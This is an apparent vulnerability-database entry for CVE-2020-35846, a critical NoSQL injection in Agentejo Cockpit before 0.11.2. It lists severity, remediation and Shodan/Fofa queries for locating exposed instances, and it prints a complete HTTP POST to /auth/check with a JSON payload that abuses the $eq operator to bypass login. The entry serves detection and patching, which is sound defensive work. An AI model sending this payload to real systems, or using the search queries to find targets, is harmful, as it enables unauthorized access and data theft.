🔙 목록으로 돌아가기

CVE-2020-35846: Agentejo Cockpit < 0.11.2 - NoSQL Injection

TitleAgentejo Cockpit < 0.11.2 - NoSQL Injection
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade Agentejo Cockpit to version 0.11.2 or later to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.93533
CVE IDCVE-2020-35846
CWE IDCWE-89
Shodan Queryhttp.favicon.hash:688609340http.html:"cockpit"
Fofa Queryicon_hash=688609340body="cockpit"
Tags cve cve2020 nosqli sqli cockpit injection agentejo vuln

🔍 Vulnerability Description

Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.

🌐 HTTP Request

POST /auth/check HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 104
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "auth": {

    "user": {

      "$eq": "admin"

    },

    "password": [

      0

    ]

  }

}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35846.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-35846.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A